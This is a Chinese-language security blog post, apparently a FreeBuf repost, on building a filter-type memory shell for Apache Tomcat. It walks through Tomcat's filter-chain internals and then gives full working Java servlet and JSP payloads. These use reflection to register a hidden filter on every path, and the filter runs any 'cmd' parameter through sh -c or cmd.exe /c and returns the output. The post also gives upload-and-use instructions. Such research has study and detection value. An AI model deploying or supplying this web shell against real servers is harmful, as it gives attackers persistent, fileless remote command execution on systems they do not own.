JAVA安全-基于tomcat的内存马学习-filter内存马
分析/访问filter之前调用栈关键的就是在StandardWrapperValve#invoke中调用了filterChain.doFilter。跟进到上述方法即可找到filterChain是通过调 2025-11-27 01:3:28 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

分析

/访问filter之前

调用栈
image
关键的就是在StandardWrapperValve#invoke中调用了filterChain.doFilter

跟进到上述方法即可找到filterChain
image
是通过调用ApplicationFilterFactory.createFilterChain方法,传入了在web.xml中通过扫描得到的配置。

当然存在我们编写类的调用,回到StandardWrapperValve#invoke在调用了doFilter之后,在其中通过调用internalDoFilter方法,进行拦截器的doFilter的调用。

访问/filter之后

将断点下在filterChain.doFilter(servletRequest,servletResponse);启动服务访问/filter触发doFilter
imagef7步入ApplicationFilterChain#doFilter,继续f7跟进到ApplicationFilterChain#internalDoFilter
image
可以在变量中观察到两个filter,一个是我们设置的filter,一个是tomcat默认自带的filter
image
且条件为(<n)pos初值1,那么一共就是遍历n-1个filter.即n-1个filter都会执行doFilter,为什么不是n个呢,因为最后一个调用的servlet.service.f7继续跟进,跟进到servlet.service
image

构造分析

那怎么在代码层面上面进行配置操作,答案在就是使用ServletContextaddFilter/createFilter方法注册。

StandardContext这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

filterMaps变量:包含所有过滤器的URL映射关系 
filterDefs变量:包含所有过滤器包括实例内部等变量 
filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

到了addFilter方法
image

  1. 首先在第一个if语句中说明必须要存在filterName不然会抛出异常

  2. 其次在第二个if语句中判断了是否是程序刚刚启动的state,说明只能在不能再程序运行中添加filter对象

  3. 同样可以知道在没有获取到filterDef的情况下,将会创建一个FilterDef类对象,将filterName / filterClass / filter对象写入了其中

  4. 最后才是创建了一个ApplicationFilterRegistration对象并返回

ApplicationFilterFactory 类中,其中存在一个createFilterChain方法
image
其中的逻辑。

  1. 首先会调用context.findFilterMaps方法中context中获取FilterMaps

  2. 之后会在箭头所指位置匹配

  3. 如果匹配,就会调用context.findFilterConfig从context中获取FilterConfig

  4. 如果存在对应的filterConfig,将会将其添加进入filterChain链中

上面就是完整的Tomcat容器获取filterChain中的动态过程,所以如果我们想要注入内存马我们需要

  1. 在context中的filterMaps属性中添加filterMap

  2. 在filterConfigs中添加filterConfig

  3. 而且要保证两个的filterName相同

具体构造

下面就是想办法将filter绑到那三个变量里.而这三个变量是定义在StandardContext
image
通过前文分析,得出构造的主要思路如下
1、获取当前应用的ServletContext对象

//从request中获取ServletContext
ServletContext servletContext = req.getSession().getServletContext();

//从context中获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

//从ApplicationContext中获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

2、通过ServletContext对象再获取filterConfigs

String FilterName = "cmd_Filter";
 Configs = standardContext.getClass().getDeclaredField("filterConfigs");
 Configs.setAccessible(true);
 filterConfigs = (Map) Configs.get(standardContext);

3、接着实现自定义想要注入的filter对象

@Override
 public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
 if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
 Scanner s = new Scanner(in).useDelimiter("\\A");
 String output = s.hasNext() ? s.next() : "";
 servletResponse.getWriter().write(output);

 return; }
                        filterChain.doFilter(servletRequest,servletResponse);
 }

                    @Override
 public void destroy() {

                    }
                };

4、然后为自定义对象的filter创建一个FilterDef

//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

filterConfigs.put(name, filterConfig);

payloay为

package org.example.ma;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

    @WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
 Field Configs = null;
 Map filterConfigs;
 try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
 ServletContext servletContext = request.getSession().getServletContext();

 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



 String FilterName = "cmd_Filter";
 Configs = standardContext.getClass().getDeclaredField("filterConfigs");
 Configs.setAccessible(true);
 filterConfigs = (Map) Configs.get(standardContext);

 if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
 public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
 if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
 Scanner s = new Scanner(in).useDelimiter("\\A");
 String output = s.hasNext() ? s.next() : "";
 servletResponse.getWriter().write(output);

 return; }
                        filterChain.doFilter(servletRequest,servletResponse);
 }

                    @Override
 public void destroy() {

                    }
                };
 //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
 Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
 Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
 FilterDef o = (FilterDef)declaredConstructors.newInstance();
 o.setFilter(filter);
 o.setFilterName(FilterName);
 o.setFilterClass(filter.getClass().getName());
 standardContext.addFilterDef(o);
 //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
 Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
 Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
 org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

 o1.addURLPattern("/*");
 o1.setFilterName(FilterName);
 o1.setDispatcher(DispatcherType.REQUEST.name());
 standardContext.addFilterMapBefore(o1);

 //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
 Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
 Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
 declaredConstructor1.setAccessible(true);
 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
 filterConfigs.put(FilterName,filterConfig);
 response.getWriter().write("Success");


 }
        } catch (Exception e) {
            e.printStackTrace();
 }


    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
 }
}

访问/demoServlet就可以调用doGet,doGet调用doPost
image
jsp版本

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    final String name = "zzz";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
    Hello Filter
</body>
</html>

文件上传后访问jsp文件,然后任意路径传参cmd即可

参考资料

https://drun1baby.top/2022/08/22/Java内存马系列-03-Tomcat-之-Filter-型内存马/
https://www.cnblogs.com/zpchcbd/p/14814385.html
https://www.freebuf.com/vuls/344284.html

文章来源: https://www.freebuf.com/articles/web/459302.html
如有侵权请联系:admin#unsafe.sh